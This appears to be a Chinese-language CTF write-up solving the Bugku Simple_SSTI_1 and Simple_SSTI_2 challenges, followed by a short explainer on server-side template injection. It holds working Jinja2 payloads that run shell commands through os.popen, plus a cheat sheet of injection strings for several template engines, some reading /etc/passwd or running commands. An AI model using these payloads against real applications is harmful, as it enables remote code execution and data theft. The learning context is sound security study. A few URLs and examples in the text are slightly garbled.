0%

bugku的Simple_SSTI_1&2

Simple_SSTI_1

题目描述

没有描述,题目描述与题目名称一致。

解决过程

首先进入环境,发现仅有一句话:

image-20231105014117763

F12查看元素,发现一具友好的注释

1
<!-- You know, in the flask, We often set a secret_key variable.-->

简单的模板注入。

结合两处信息,提交flag:

image-20231105014126054

即可得到flag{f55da1a9d9333c39872e420b76d7e3f2}

Simple_SSTI_2

题目描述

没有描述,题目描述与题目名称一致。

解决过程

进入环境,页面显示与Simple_SSTI_1一致,但网页元素却有了区别

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Simple SSTI2</title>
</head>
<body>
You need pass in a parameter named flag
</body>
</html>

这道题没有任何提示,尝试使用Simple_SSTI_1的解法,构建http114.67.175.22415921flag={{config}},返回如下所示:

1
<Config {'ENV': 'production', 'DEBUG': True, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(seconds=43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093}>

并没有特殊之处。

构建http://114.67.175.224:15921/?flag={{13}}得到返回 13,并且想到题目说SSTI漏洞,可以考虑构建命令注入查看文件:

1
2
3
http://114.67.175.224:15921/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27ls%27).read()}}

http://114.67.175.224:15921/?flag={{config.__class__.__init__.__globals__['os'].popen('ls').read()}}

返回了

image-20231105014134737

看到了flag,更换命令重新注入

http://114.67.175.224:15921/?flag={{config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20flag%27).read()}}

得到flag{69f88b1ab5884cd258662ac7a3fe02d8}

总结

什么是SSTI

SSTI (Server-Side Template Injection),即模板注入。

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

常见的测试用例 (转自Web安全学习笔记

  • 简单数学表达式 {{ 1+1 }}

  • 字符串表达式 {{'test'}}

  • Flask Jinja2(本题为Jinja2)
    {{ config }}
    {{ config.items() }}
    {{get_flashed_messages.__globals__['current_app'].config}}
    {{''.__class__.__mro__[-1].__subclasses__()}}
    {{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
    {{ request.__init__.__globals__['__builtins__'].open('etcpasswd').read() }}

  • Django

    • {{ request }}
    • {% debug %}
    • {% load module %}
    • {% include x.html %}
    • {% extends x.html %}
  • Ruby

    • <%= 7 * 7 %>
    • <%= File.open('/etc/passwd').read %>
  • Java

    • ${77}
  • Twig

    • {{77}}
  • Smarty

    • {php}echo `id`;{php}
  • AngularJS

    • $eval('1+1')
  • Tornado

    • 引用模块 {% import module %}
    • = {% import os %}{{ os.popen(whoami).read() }}

__class____name__

实例对象调用__class__时会指向该实例的类,__name__可用来获取类名。

1
2
3
4
5
6
7
8
9
10
11
12
>>> class TEST():
... def __init__(self):
... print(self.__class__)
... print(self.__class__.__name__)
>>> a = TEST()
<class '__main__.TEST'>
TEST
>>> a = '123'
>>> print(a.__class__)
<class 'str'>
>>> print(a.__class__.__name__)
str